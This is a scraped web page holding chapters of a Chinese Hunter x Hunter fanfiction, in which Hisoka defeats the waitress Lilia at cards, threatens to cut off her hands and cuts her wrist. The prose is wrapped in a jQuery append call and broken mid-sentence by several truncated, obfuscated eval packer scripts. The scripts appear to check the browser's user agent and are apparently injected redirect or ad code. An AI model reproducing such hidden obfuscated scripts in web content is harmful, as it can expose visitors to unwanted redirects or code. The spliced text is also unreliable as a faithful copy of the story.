$(''#content'').append('' p> 她越认真，他就越恶劣。 就像现在，他居然捏着那张兑票，笑着看她：“这样么？那如果我输掉☆……？” 他放慢语调，似乎在故意等她反应。 直觉告诉她，对付这样的人，只要不遂他愿就可以了。 她只要像刚刚抢兑票那样后退一步，装作不在乎，他就会失去兴趣了。 但也许是接二连三被他逗弄，也许是她不喜欢这样被他戏耍，也许是因为她很讨厌没有原则故意输的行为，所以她不愿意退后一步。 “故意输的话，我再也不会和你打牌了。” 她板起脸，很认真地和西索强调。 “哦？真的吗★？” 西索依旧似笑非笑地俯视着她，没有板起脸，没有露出特别兴奋的古怪微笑。 在不打牌的时候，莉莉娅就是个普通人，完全不足以引起他的兴趣，所以当然不配让他严阵以待。 当然，比起普通人，她还是有些特别的。 他期待她也许在其他方面也能展现特殊天赋，所以他才会和她说这么多话。 他低垂着眼睑，看面前这个竞技场内任何一个参赛者都可以随手杀死的金发少女说无知者无畏的厥词。 “是的，就算你杀了我我也不会和你打牌的。” 她说。 西索真想为她的勇气鼓掌。 但太弱小了，提不起兴趣来。 所以只能随意地，敷衍地夸赞她的勇敢。 “~悍不畏死呢，莉莉娅★~” 普通的，弱小的，一下就会死掉的莉莉娅没有说话，只是咬着嘴唇很固执地看着他。 好像真的不怕死。 没有见过死亡的年轻生命都是这样的。 西索歪了歪头，看见自己在她绿色眼眸中的倒影，突然觉得有些手痒。 但一想到真要动起手来，她这种弱小的普通人甚至连恐惧都来不及就死了。 多么无趣，让人提不起劲来。 所以他手中的兑票没有割开它主人的喉咙，而是又落进了她的口袋。 他微微倾身，将这张纸片又塞回莉莉娅深棕色外套的口袋，他凑近她，她身上有一股蛋糕奶油的味道，很香甜，他有点想咬她，但人尝起来肯定和蛋糕不一样，所以没有动口，只是在她耳边说： “嗯~虽然很好奇你临死时的表情，但我不会的。我会认真地战斗的哦☆~” “那就好。” 金发少女松了口气，而后前一秒还胶水一样黏在她脸上的固执倔强瞬间消失了，她像没听到他前半句话似的，整个人松懈下来，单手握拳半举在身前给他加油，说：“我感觉，你一定会赢的。” “为什么？” “因为，在大厅里站了这么久，你是我见到的，感觉，最厉害的人。” 她语焉不详的解释。 这话听在西索的耳中却是另一种含义。 “直觉么☆？” 他微微睁大眼睛，稍有兴趣地提问。 “差不多吧。” 莉莉娅点点头，毕竟让她这样的门外汉具体分析谁强谁弱也不现实，所以说是直觉也没问题，不过承认归承认，她必须跟这家伙强调：“但如果错了，你也不许怪我！如果对了，更不许把我当成先知！” 她已经受够了！ 她说这话时是非常认真的！ 但是…… “嗯哼☆~” 红发男人只是歪歪头，一点也不认真地用气音回应她。 好吧，他一点也没把她的话放在心上。 真讨厌。 6.梅花6 不出意外，那场比赛当然是西索赢了。 他出手很快，下手很痛快，也很残忍，莉莉娅的眼睛还没跟上他，看不清怎么移动的，对手的手臂就断了，血肉横飞的。 莉莉娅不知道他本来的战斗风格就是这样，还是因为心情或者其他原因痛下狠手，总之，这样看完他的比赛后，她觉得自己好像在CULT片现场。 但其他观众似乎早习以为常。 西索的比赛是今天的最后一场，他应该是高人气选手，比赛时几乎座无虚席，观众席上的大多数人也都在为他加油，但和刻板印象不同，他本人似乎并不特别享受这种万众瞩目的感觉。 当然，也不讨厌。 也许是因为他的对手太弱了，所以即便想享受也提不起兴趣？ 莉莉娅没有去深思。 总之，最后一场比赛结束了，观众都走的差不多了，莉莉娅才排完队从窗口拿回了自己的赌金。 投了十万戒尼拿回十二万的莉莉娅很高兴地坐在台阶上点钱，可赢下比赛的西索却兴致缺缺，站在她身边双手抱臂居高临下地看她把十二张万元大钞点了三遍。 这大概在他看来是很无趣的事情。 但之前就说了，莉莉娅不会去揣测这样的怪人的想法。 她点完钱，将它揣进自己棕色外套的内袋，而后站起身，往上走了几个台阶，确保自己能和西索平视后，转过身，看向他，问：“你不高兴，为什么？赢了不该大肆庆祝么！你可是打到一百四十层了！” “都太弱了。” 也许是因为太失望，西索居然连说话都不荡漾了。 也不微笑，不似笑非笑了。 板着脸的小丑很恐怖。 莉莉娅不敢和很恐怖的他对视，于是侧过脸去看空荡荡的看台，余光又看见有工作人员在清理溅洒了血迹的擂台，突然觉得他追求强者的想法虽然很积极向上，但细想起来却很恐怖。 她也的确这么和他说了。 红发男人被她的话勾起了一点兴趣，歪了歪头，用不知道哪里掏出来的扑克牌点了点下巴，嗯哼一声，问：“为什么★？” 此时，他脸上又重新露出了那种还算轻松的，似笑非笑的表情。 虽然笑容也可能是伪装，也许他笑着也会杀人，但笑和不笑给人的压迫感是完全不一样的。 总之，他笑了，莉莉娅不知何时紧绷的脊背微微放松了下来，她移动翠绿色的眼睛看他一眼，又垂下眼睑，咬了一下嘴唇，又伸手绕了绕胸前垂下的金发，语焉不详地解释： “像你这样的人如果随处可见，那很恐怖吧？而且只有难遇到，遇到之后才会加倍地幸福吧？如果随处可见，也不会珍惜了。” 她说。 她其实不太喜欢长篇大论论证自己的观点，如果对方能听懂就听懂，听不懂就算了。 所幸西索很聪明，他一下就听懂了！ “~很有道理噢，莉莉娅☆。” 红发男人认真听完了她的话，并很认同地点了点头赞同了她的想法。 说实话，他的态度有点出乎莉莉娅的意料。 其实，虽然她在认真地和他说话，和他对话，西索也基本上会回应她的话，但偶尔，有些时候，她其实也能察觉到西索对她的情感的。 不知道该怎么说，但总之并不平等。 如果非要形容的话，大概，她是他最近无聊的日子里遇到的有些有趣的小玩具。 他这样的人一直在追寻强者，但强者不是时刻都有，所以总会无聊，而这时候，她出现了，虽然在武力上很弱，但意外地有打扑克的天赋，让他觉得很有意思。 但他追寻的并不是成为赌神，他追寻的是武力上的强大，所以下了牌桌，在大多数情况下，并不会平视弱小的她。 所以，莉莉娅以为西索是不会认真听她的话的。 特别是在他心情显然不是很好的当下。 但他居然听了。 虽然下一刻，他就沉郁地叹了口气，露出很落寞苦恼的表情，鼓起脸颊，拖长音调，做出和他高壮身体油彩脸蛋完全不符但意外和谐的姿态，向她抱怨：“但我还是好郁闷呢★~” “嗯……” 莉莉娅抿住嘴唇，也学着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等西索和莉莉娅赶到接待美食猎人的高档餐厅时，美食猎人已经走了。 这是莉莉娅意料之中的事情。 即便是美食猎人，也不可能在餐厅里一吃吃上四五个小时的。 空中花园餐厅今天只接待美食猎人这一个客人，客人走了，他们自然下班了，所以等待西索和莉莉娅的只是已经闭店关灯的打烊店铺。 甚至连向上去往餐厅内部的扶梯都关闭了，所以实际上，西索和莉莉娅是隔着一道长长的扶梯眺望半空中的餐厅大门的。 无光的扶梯口，面对着已经闭店餐厅，光线只从背后商场打来，莉莉娅侧过脸，看不见脸朝着暗处，前半身几乎隐没在黑暗里的西索的脸，但他一定很郁闷。 那种郁气几乎实质化，变作一种很古怪的气息与感觉带着让人心怦怦作响的压迫感像水草一样蔓延过来，莉莉娅理应识时务地保持沉默，可看着西索垂头的侧影，她突然胸口喉咙发痒，没忍住，笑出声来。 “哈哈哈——对不起——” 在笑出声的那一刻，莉莉娅已经暗叫不妙，然而莫名其妙涌上来的笑却不识时务，不能瞬间收敛，于是她只好捂着脸蹲下身，把脸埋在膝盖和胳膊肘之间。 虽然睁着眼，但因为脸埋在手臂里所以眼前一片漆黑，人看不见的时候，其他的感官就会增强。 能听见由远及近的脚步声，大概在面前一两步的时候停下了，而后感受到的是近在咫尺的人身上传来的热量。 很奇怪，这时候能感觉到热量，可平时西索接近的时候，莉莉娅从来感受不到。 来不及多想了，因为沉默已经太久了，和西索这样相处，长久的沉默会给莉莉娅他带来不详的预感，但每一次莉莉娅都会在预感成真之前开口。 “对不起，我突然觉得你很有趣。” 她甚至来不及把脸抬起来，就这样低着头说了。 “为什么？” “嗯……” 莉莉娅抹了一把脸，蹲在地上，仰起脸看他，可西索太高了，她脖子都快仰断了都看不到他的脸，于是她只好撑着膝盖站起来，继续仰着脸说：“因为你居然会因为这点小事郁闷。可你那么厉害，我觉得很古怪。” “嗯哼~为什么？” “不知道，我不懂，也许是一种感觉。” 直觉告诉莉莉娅如果要继续说下去，那说的话就太多了。 她不愿意和西索剖析自己的想法，不愿意说太多东西，因为他也许不会认真听。 不过又有几个人会认真听别人说话呢？ 这又到莉莉娅不愿意细想的范畴了。 于是她退后一步，从暗退到光里，转过身去开还亮着的灯的，除了空中花园外其余店铺都在营业的商场，提议：“我们去吃别家吧，商场里还有好几家好吃的。” 她仍能感觉到西索的视线就钉在自己的脸上，在黑暗中，他的金色眼睛会变成深棕色，没有笑意，也没有杀意，沉沉的，她没有敢和那样的一双眼睛对视，西索的回复也很快来了： “可以。” 和空中花园相比，商场里的其他餐厅都只能称作平价。 本来西索就说要请她吃空中花园，但空中花园不开，他请她吃这些平价餐厅也没关系。 因为莉莉娅想，她这样的甜品店服务员，坐在那样高档的餐厅里或许会觉得很格格不入。 而且空中花园里有和玛丽熟识的服务员，说不定对方也认识她。 有这样一层关系在，再细想接下来会发生的事情或许变成了一种残忍。 但实际上，这些自贬的借口只是为了填补今天没吃到大餐而产生的失落而已。 莉莉娅切开牛排，偷偷抬眼打量坐在对面的红发男人。 也许是因为今天接二连三遇到令人郁闷的事情，西索比平时沉默很多，又或者不和她打牌时她在他眼里就是一个无趣的普通人，不值得他浪费情绪，总之，他正以外表不同的行为，沉默而又安静地用餐。 莉莉娅垂下眼睑，抬起眼睑，又垂下眼睑，如此反复多次，终于没忍住轻咳了一声。 她对猎人有些好奇，此时这也许算是打破沉默的好话题，于是她开口问：“西索，你是猎人吗？” “不是哦~”红发男人摇了摇头，“不过我不过打算考一个，考完就可以随意杀人了~！” 莉莉娅当作没听见他的后半句，只问：“怎么参与猎人考试呢？” “还不知道。”西索说，“需要一些情报。怎么，莉莉娅也想参加★？” 莉莉娅撇了一下嘴：“我去的话会死的吧。” 她问的话很直白，西索的回答也很直白：“那肯定噢★~我不会救你的哦~” 在这样温馨的评价餐厅谈论生死有些煞风景，不过不影响莉莉娅的食欲，她又切下一小块牛排，摇摇头：“那还是不要了。” 说完，她把牛排放入口中。 “可惜★~” 莉莉娅抬眼看了一眼西索，没在他脸上看到真实的可惜。 他还是微笑着的，但只是习惯性的，机械性的微笑，本质上对她，对这个话题兴趣不大。 真是难以揣测，某方面又很好猜测的人。 …… 莉莉娅用力闭了一下眼睛，把猜测，揣测全都抛出脑海，她深吸了一口气，认真说：“总之，谢谢你请我吃饭。” “没关系~” 请客的这点钱对西索而言根本不算什么，他吃饭速度很快，在对话的间隙已经吃完了，他将刀叉放在餐盘边，单手撑着下巴，“莉莉娅，待会儿再陪我打一局扑克吧。但这次，如果我赢了，莉莉娅要答应我一个要求 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不过既然他都这么说了，她也无法拒绝了。 “……好。只要你提出的要求在我能力范围内，我就答应你。” 她如他所愿地点了头，可他却好像还嫌不够，眼睛一眨不眨地盯着她，然后突然扬起一个大到有点诡异的笑，轻声——他的声音几乎伴着餐厅里播的小提琴CD传到她耳边： “你很讨厌我吗，莉莉娅★？” “不，我只是敬畏你。” 莉莉娅实话实说。 而且她不止敬畏他，她敬畏每一个和普通无关的人，每一个这样古怪的强者。 因为她太弱了，太普通了，很容易就会死了。 他们是燃烧的太阳，如果她接近，就会融化。 但他们接近，她也无法逃跑，因为太阳的光芒会随太阳的心意普照，荒原上的凡人逃无可逃。 也许是她的敬畏展现得太隐蔽，被她敬畏的人并没有察觉到，反而被她的形容词逗笑了：“哦？是吗，看不出来啊★。” 她的答案也许很滑稽，因此他的笑容变了调，又一次带上了几分嘲笑。 莉莉娅发现了，当她展现她普通人的一面，西索就会轻视她，那种嘲讽嘲笑不屑就会出现，但又出现不了几秒，因为他甚至懒得为普通人产生情绪。 会对她产生，是因为她普通又不普通。 莉莉娅垂下眼睑，叹了口气，突然觉得胃已经被填满了，垂下眼看餐盘里的食物也失去了味道。 于是她放下刀叉，问：“那么，去哪里打？” “嗯~我在天空竞技场有房间哦~来吧★~” 8.梅花8 当挑战者通过天空竞技场第一百层的挑战之后，天空竞技场就会提供给此人私人的房间，但如果掉下了一百层，房间也随之会被收回。 当然，西索是肯定不会掉下一百层的。 莉莉娅相信他。 天空竞技场提供的屋子就是一个很大的单人间，除了没有厨房以外，其他一应俱全。 屋里没有什么特殊装潢，西索没在竞技场提供的屋子里做出任何改建，所以这件屋子平凡到不像是西索的住处。 当然，如果非要说有什么特殊的，就是屋子里有好几副扑克牌。 拆过包装的，没拆过包装的都有。 这间房间里只有靠墙的桌子，所以没法面对面坐着打牌，但西索很不拘一格，一边洗牌一边指着床说坐在床沿也可以。 莉莉娅沉默了一瞬，有点想问这打牌是正经的打牌吗？ 但直觉告诉她如果这样问了，那答案也许是她不想知道的，所以她闭上嘴，走过去，乖乖坐到了床沿。 床上被子叠好了，但西索肯定不是会叠被的人，所以应该是客房服务。 在表面胡思乱想，实则忍不住在房间里视线乱飘的时候，西索已经洗好了牌，很快将牌发作三堆。 莉莉娅回过神，先手挑了一堆，西索紧跟其后。 剩下的那一堆只作为防止算牌的障碍，不会有人拿。 在莉莉娅看来，这理应是很普通的一次牌局。 除了她分到的牌太烂以外，和以前没有任何区别。 她顺着她的直觉出牌，顺着她的直觉行动。 然而…… “我赢了哦★~” 有什么不同了。 盯着西索空荡荡的双手，莉莉娅一瞬间捏紧了手中的几张牌，心跳甚至都漏了一拍。 她意识到，有什么不同了。 她输了。 为什么？ ……不，算了。 困惑，懊恼，只浮现出了一瞬间。 但这一瞬间也被人捕捉到了。 眼前猛地凑近的一张脸，画着古怪图案的，带着古怪笑容的，那笑容下还带着某些很冰冷的近乎嘲笑的…… 拥有这样感情，这样笑容的男人凑得这么近，用那双金色的眼睛锁定他的手下败将，以拉长的，戏谑的音调开口： “哎呀，你输了，莉莉娅。看看你的表情。虽然嘴上说着总会输的，但心里已经建立起了自己永远常胜的‘常识’。所以此刻你脸上的表情才……这么不敢置信啊★。” 被他以这样看手下败将，看研究对象的视线盯住的感觉很不妙，搭配上那样语调那样调侃的话，心里面升腾上来的除了难堪还有恼忿以及质疑，可这样的感情生出还不到一秒，都来不及在脸上展现，就顷刻化作灰烬了。 “是的。你变得好厉害啊，西索。” 莉莉娅最终只是扬起唇角，这么恭维，赞叹他。 她放弃去想他为什么赢，也当作没听见他的话，把懊恼和困惑都压下去，只发自内心地为他高兴，为自己高兴。 她在床沿上挪动，往后坐了坐，拉开距离，避开西索的脸，把手中的扑克往牌堆里一扔，欢呼：“太好了！我输了！从此以后我再也不要打牌了！” 虽然输了，但从此以后就能不打牌了，所以是值得欢呼的。 她双手合十，把最后一点郁气也呼出去，双手合十，对西索露出微笑。 这时候，身为赢家的红发男人脸上的笑容消失了。 “……？真的不打了吗？” 他难以置信，甚至在某一瞬间露出了呆滞的表情。 看来她的反应超出了他的预料……？ 莉莉娅放弃探索他的内心，用力点点头，强调：“真的不打了！你已经赢了我了，不是吗？我已经是你的手下败将了！” 输家有什么被再次挑战的必要呢？ 所以，如她所见，这应该是她们的最后一次见面了。 虽然有些失落，有些难过，不知道是因为她百战百胜的牌技在此刻破灭，还是因为难得出现在她人生里的，危险的特殊就要这样离开…… 但人生就是这样，只要接受就可以了。 不过，等等，她还欠了他一样东西—— “对了，西索，你要我做什么呢？不许提再要我陪你打牌这种事！” 她看着他，几乎称得上迫不及待地催促他提出他的要求。 表面上是迫不及待的。 心里也是迫不及待的。 那么那一点失落和难过又去了哪里呢？ 莉莉娅的心有点迷茫。 但她注视着西索的目光却很清明。 她绿色的眼睛亮亮的，倒映着红发男人的身影。 在游戏开始前提出这样要求的男人看出她的急迫，甚至愿意满足她从此再也不见的渴望，没有再以‘还没想好’搪塞她，而是摸了摸下巴，做出一副沉思的表情：“让我想想★……” 但说实话，西索能要她达成什么愿望呢？ 总之不会是什么大请求的，因为太大请求她也做不到。 莉莉娅是这样想的。 但西索提出了很令她意外的请求。 他用那双金色眼睛盯着她说：“那么，我要你辞职☆。” “……可以。” 是很古怪的要求。 但莉莉娅还是点头了。 “明天我就递交辞呈。” 她说。 答应的太干脆利落，没有任何多余的话，反而引得他诧异地扬了一下眉，引得他又露出感兴趣的笑容了——然而在莉莉娅的预想里，在她输给他之后，这样的笑容从此不该为她出现了。 但看来西索并非完全被她揣摩，也不是她预想里的人格。 “不问为什么吗☆？” 他笑着问。 莉莉娅觉得他明知故问：“我答应的你呀。” “是吗~~？” 他语调回转地反问，又点了点下颌，然后，突然凑近她，猛地逼近她，拉住她的手臂，力气很大，隔着外套也把她的皮肉骨骼捏疼，但没有太疼，比较他在赛场上那样轻松可以把人打死的力气，应该是很克制了。 但莉莉娅还是停住了呼吸。 不知道是因为疼，还是因为他的骤然逼近。 呼吸停滞，嘴唇微微张开，瞳孔骤缩又一点点恢复原状，在莉莉娅勉强找回呼吸后，西索握着她手臂的手一点点下滑，抚摸她没被衣料覆盖的手腕，热的，带着硬茧的手指探入她的衣袖，扣住她小臂，问：“没有工作怎么办呢？” 语调很正常，依旧那么荡漾，可动作有点太暧昧了。 而且那双眼睛…… 被那双金色眼睛盯住的莉莉娅脊背僵直，一动也不敢动，可人在紧张时反而难以自控，被西索握住的手却无法控制地开始轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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西索也‘看到’了这个未来，所以他眨动了一下眼，伸出一只手，指向她这个将死之人：“是哦，所以莉莉娅你会死噢~不哀求一下我吗☆？” 究竟是死在对手手中，还是因为没完成他的要求所以死去呢？ 莉莉娅不愿意多问，总之结局都是一样的，答案也都是一样的。 如果他真的不想让她去，又为什么要提这样的要求呢？ 大概是因为今天发生的事太令他郁闷，最近的生活太过无聊，所以他必须要找点乐子。 莉莉娅就是他的乐子。 这样的认知令人沮丧，令人难过，可莉莉娅只是垂下眼睑，抚摸了一下她似乎还有他手掌触感的右手手腕，说： “但我不是答应你了么？我不想出尔反尔。” 西索将理好的牌堆放在他们中间，向她示意。 莉莉娅叹了口气，伸手从他手底下的牌堆里抽出一张牌，翻开来，是梅花七，一边说：“我会努力做到的，如果做不到，就一直做到我死的那天。” “~是吗？答案我很喜欢，可你反应好平淡哦，莉莉娅，你把有趣的事情也变得无趣了★~” 西索盯着她，光听他说的话好像在责怪她的回答没有情调，可是他脸上的笑容很灿烂，一种古怪的灿烂，看着她的眼神也很古怪，带上一种有趣的炙热。 这眼神太熟悉，几分钟前才刚刚出现过。 莉莉娅猜想他可能又要反悔了，事实也的确如此。 他视线下移，盯上她曾经执牌的双手。 “那么，我想好了☆~” 他说，他从牌堆里抽出一张梅花八，压在她抽出的梅花七之上。 而后，他拿起这两张牌，向她展示，然后说： “我要砍下你的双手哦，莉莉娅☆~” 9.梅花9 莉莉娅工作的甜品店虽然二十四小时营业，但烘焙师不会二十四小时都在，所以凌晨卖完东西就不会再补货，只提供一些饮品。 因此，夜班是最舒服的一档。可惜今天的莉莉娅上的是早班。 烘焙师大概四点到店，夜班的服务员要在烘焙师来之前打扫后厨，确保烘焙师来工作时面对的是整洁的厨房。 像莉莉娅这种早班服务员上班时间是八点，她们来了，上晚班的服务员才可以下班。 甜品店不在主干道，基本没有上班族，所以八九点的时候基本不会有客人，收拾收拾店内，擦擦桌子拖拖地，把烘焙出的甜品放到保温货架上，然后就可以躲在柜台后面聊天了。 摸鱼的时候可以给自己打一杯奶茶或者咖啡，如果想吃蛋糕面包，那么去后厨专门的桌子上盒子里拿点报废品或者边角料就可以。 莉莉娅所工作的甜品店不是连锁，没有那么多规章制度，营业额很不错，店长也不常来，从来不克扣工资，偶尔还会发奖金，所以怎么看都是很好的工作。 幸亏昨天西索没有让她辞职。 上午基本是天空竞技场的在职人员来，人不是很多，大概到下午开始人才会变多起来，人流量和竞技场每日安排的比赛热度有关，一般来说每日最后几场会比较有看点，时间差不多是每日五六点，在开场前后这段时间也是甜品店人最多的时候。 当然，这些事情和今天的莉莉娅没有关系。 早班是从八点到下午四点，一共八个小时，而现在悬挂在墙上的时钟已经走到了3：50。 而这时候，上中班的玛丽已经换好衣服，走到了她身边，用手肘轻轻捅了一下她，从她手中接过从餐桌上收拾来的已使用的餐盘。 接过东西时，她视线习惯性地在金发少女的脸上划过，立刻发现她的皮肤要比平时细腻白皙，嘴唇也更为红艳，因此，她略有些惊讶地惊叹了一声，打趣道：“莉莉娅，今天化了妆呢！” “对。” 莉莉娅走到柜台旁拿起抹布，另一只手想拿起消毒喷雾，但放好餐盘的玛丽先她一步，她无奈地笑了一下，和玛丽一起走到餐桌边，两个人擦起一张桌子来。 玛丽随意地在桌子上喷了几下喷雾，就忍不住把视线黏在她脸上，开始八卦：“为什么，心情很好吗？还是是特殊的日子？今天下班后要约会？” “都不是。”莉莉娅叹了口气，拉了一下长袖，俯下身开始抹桌子，一边说：“昨天回家太晚，早起黑眼圈太重了。” “欸？遇到谁了？” “西索。” 莉莉娅顿了一下，知道玛丽还要问别的，所以直接回答了她：“他请我吃了顿饭，我和他又打了牌。” 玛丽是不太喜欢西索的。 不如说每个普通人都不喜欢这样变/态而实力强劲的家伙。 但即便心里不喜欢，她也不会表现出来，而且西索找莉莉娅打牌是很寻常的事情。 所以她只是问：“打了一整晚吗？” 在玛丽的心里，西索和莉莉娅打一整晚是很正常的。 至于输赢，那根本不需要问。 莉莉娅一定会赢的。 但这一次，莉莉娅的回答完全出乎了她的预料。 “不，只打了一把。”莉莉娅直起身，松开抹布，低头看着还安在自己身体上的手，手背还算白皙，但翻过来是因为做了太多杂务而早就不光滑的掌心，她收紧自己的五指，说，“我输了。” 语气很平静。 但玛丽完全无法平静。 “啊？？？” 她瞪大眼睛，难以置信，声调拔高，发出了一声惊叫，声音毫不收敛，因此引得四周的客人都看了过来。 她反应过来，捂住嘴，但用眼神对莉莉娅表示质疑。 于是莉莉娅遂了她的愿望，重复了一遍她刚刚说的话。 “我输了。” 莉莉娅穿着长袖，无法抚摸自己手腕上浅浅的，有薄薄的，刚结不久的脆弱的痂的伤处，但仍能回忆起那张牌划过自己手腕时传来的轻微刺痛。 她低垂眼睑，微微抿起嘴唇，其实是庆幸的。 庆幸自己的手还存在着。 但玛丽无法理解她的庆幸，还在追问：“为什么？” 莉莉娅歪了歪头，不太理解她在‘为什么’什么，只说：“没有为什么，就是输了。” 她的语气太坦荡，太直白了，玛丽一时语塞，但她觉得很不对，不该这样，在她心里，莉莉娅是无所不能的赌神，牌皇，怎么会这样输了呢？ 她不信！ 于是在短暂停顿后，玛丽立刻抓狂般地开始找原因：“怎么可能——他之前那么多把都没有赢，偏偏在只有你们两在场的时候赢了，他肯定作弊，对，肯定作——” 她找到了她认为莉莉娅输了的原因。 但莉莉娅甚至没等她说完就打断了她。 “输了就是输了，找理由没有用。就算作弊了，我还能拿他怎么样呢？” 莉莉娅垂眸，看向面前已经擦干净的餐桌，拿起抹布转身走向杂物间，玛丽很快追来，似乎还要问些什么，但她已经岔开了话题：“总之，我输给他一个条件。” “什么条件？” 进入杂物间后，只有她们两个人，玛丽终于不用再克制语调，很急切地追问，甚至从莉莉娅手中夺过了抹布开始帮她洗。 莉莉娅也走到水池边洗了洗手，抽了两张纸巾擦了擦手上的水珠，然后用手指拎起自己的袖口，向玛丽展示自己手腕处的划痕. “他先要我辞职，然后要我参加竞技场的擂台，最后要砍下我的手。” 随着她说出的话越来越惊悚，玛丽的表情也越来越恐惧。 水龙头还在不断流水，可龙头下拿着抹布将要清洗的那双手却没有动了。 因为她的主人是如此害怕。 明明只是听故事，却已经如此害怕了。 莉莉娅想，也许那时候的西索想要看到的是这个表情。 可惜她没让他满意。 * “我要砍下你的双手哦，莉莉娅☆~” 拿着两张扑克牌的红发男人笑盈盈地说着惊悚的，语气笃定，完全不容回转的话，却没有立刻动手。 他在等她的态度。 莉莉娅明白。 但又困惑。 因为，她能有什么态度呢？ 她垂眸，叹了口气，就这样朝他伸出双手。 “不再挣扎一下吗☆？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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完全看不到是怎么做到的，明明上一秒扑克牌已经刺向了她的手腕，凭那样的速度和锐利程度，她的手腕应该会瞬间被砍掉才对，可下一秒，连眨眼都没有眨眼，扑克已经回到了西索的手上。 像魔术，像幻术一样。 然而…… 莉莉娅垂下眼睑，盯着迟缓地，一点点渗出鲜血的，手腕上的横向伤口，感受到伤口处传来的细微疼痛，意识到那并不是幻觉。 “为什么？” 她抬头，不解地看他。 然而西索没有立刻回答她的问题，他眯起那双金色的眼睛，用沾有她些微血液的纸牌轻轻点上他自己的下唇，殷红的，还带着人体温度的血液染红了他的嘴唇，他轻轻一抿，好像在品尝血液的味道。 但莉莉娅确信她血液的味道与其他人并无不同。 事实估计也的确如此，因为他没有说有关她血液、伤口的任何话，只是盯着她感叹，盯着她发问：“莉莉娅，你真有意思。有这样思想的你，怎么会是普通人呢★？” 莉莉娅不知道自己到底有意思在哪里，但直觉告诉她现在不太适合反问他。 反问会增加话题，和他说话越多越深入就会延长和他在一起的时间。 平时还可以，但现在，也许不太合适。 也许她有点太迟钝了，现在才意识到和这样的人共处一室并不合适。 于是她抿了一下唇，乖顺地顺着他问出的问题回答：“也许是因为这世上没有理所应当的事情。” 西索哦了一声，不知道是对她这个回答满意还是不满意，只是笑着问：“那么，莉莉娅想变强么☆？” 10.梅花10 “那么，莉莉娅想变强么☆？” 莉莉娅：“不想。” 几乎没有思考，根本没有犹豫，在刚刚差点被他砍断手腕之后，在完全不明白他为何能把薄薄的纸牌变作刀锋之后，在完全看不清他如何把已经射/出的纸牌重又拿回手中之后，她仍然做出了这样的回答。 这应该是很奇怪的回答。 在说出后，莉莉娅就知道他一定会追问。 事实的确如此。 不过西索没有再维持那样古怪的笑容了，也没有再似笑非笑，更没有面露嘲讽。 她的答案显然让他很不满意，可他没有生气，只是鼓起脸颊，有点气鼓鼓地说：“为什么★！” ！这样的人怎么还能做出这样的表情的！ 西索古怪的表情让莉莉娅睁大了眼，但转瞬，她就克制住了自己的表情，移开了视线，咳嗽了一声，平复心情后，解释道：“我想，如果要得到不属于我的东西，一定要付出代价。也许这种代价我无法承受。” 她觉得自己已经说的很清楚了。 但西索是个我行我素的男人。 他听完她的话，依旧只是轻轻地哼了一声，表示他听了，但至于有没有听进去，莉莉娅猜应该是没有的。 因为盘腿坐在床上的他只用手支着下巴，轻哼这手指点了两下脸颊。 他们离的很近，房间很静，莉莉娅甚至能听见他手指点在他皮肤和脸颊肌肉上发出的轻微声响，为他即将到来的话，她的呼吸微微停滞了，但她依旧什么也没说，只是静默地等待着，等待她面前的人微微扬眉，问：“如果我要求呢☆？” 莉莉娅：“……如果你决定了的话，可以。” 她依旧是这样的态度。 如果顺应她的心意，那么她是不愿意的。 但如果西索提出要求，那么输给他的莉莉娅是会愿意的。 他知道。 莉莉娅也知道他知道、 因为莉莉娅的思维就是这么简单。 但这是他想要的么？ 这样把这个要求用完，足够有趣么？ 莉莉娅猜测答案也许是‘不’。 所以那时应该完全‘看透’她的红发男人只是点了点头：“嗯哼……我再考虑一下★~” 他说。 * 玛丽听完了莉莉娅在西索房间里的全部经历，面色惨白。 但至少现在莉莉娅的双手还在，所以她还没有惊声尖叫。 听的人已经如此害怕，可讲述者、亲历者却很平静，她伸手将一直在放水的水龙头开关关闭，为这个故事做了一个暂时的结尾：“这些对他来说可能太无聊了，所以最终他都没干。但我还欠他一个要求。” “……你不该答应他的，他太变/态了！他简直不是人！莉莉娅……你，你被骗了，你逃跑吧！在他找上你之前，你逃跑吧！” 回过神来的玛丽看向她，将沾满水的抹布往水池里一甩，用湿漉漉的双手抓住她的肩膀，摇晃她，请求她。 但莉莉娅是如此的一意孤行啊。 “没用的。愿赌服输。我不会逃跑的。” 年纪不大的金发少女眨了眨眼睛，她的睫毛很长很密，和她的发色一样也是金色的，像绒绒的花瓣，然而拥有这样可爱睫毛的人此刻说的话却是这么残忍，乐观，游刃有余：“我让他要是想到了条件就告诉我。所以说不定明天我就没有手了，要珍惜我的手啊，玛丽。” 说到最后，莉莉娅甚至笑了起来，颇有闲心地和玛丽开起了玩笑。 玛丽用力捏住她肩膀的手渐渐松开了。 “……这时候你还笑得出来！你是怪胎吗！” 她退后两步，不敢置信地看向她，好像她说了什么惊世骇俗的话。 但莉莉娅始终不觉得自己的话，自己做的事有任何问题。 “毕竟输了，就要付出代价嘛。” 她还是那样回答。 那样平静，那样理所当然。 她有自己的一套逻辑，可这样的逻辑在玛丽看来太匪夷所思了。 只是一场牌局，没有赌钱，比之前说是要求，那按道理只能是小要求，怎么可以一下闹这么大？怎么就赌上了手？而且，而且—— “而且你之前赢了那么多次，他也没付出代价！” 玛丽提醒她，提醒她可以借题发挥，把这个要求抵消。 但莉莉娅却拒绝了。 “因为我没提。不能在游戏结束后再附加要求。” “可——” 杂物间的门被推开，打断了玛丽还要说出口的话，另一个早班服务员萝丝探出头，说：“到下班时间了哦莉莉娅，那个西索又来找你了！” 话题中心的男人出现了。 莉莉娅点了点头，一点也不害怕这个昨天说要砍下她的手的男人，反而平淡地侧过脸让萝丝帮她传话：“让他在外面等一会儿，我把工作服换下来就找他。” 萝丝出去了，杂物间的门又重新关上。 莉莉娅本来要离开，但她似乎想到了什么，在手握住门把手时又转过头看向站在水池旁的玛丽，说：“你不会到他面前说这些的吧？” “什么……当然不会！” 处于震惊之中的玛丽思考速度也变慢 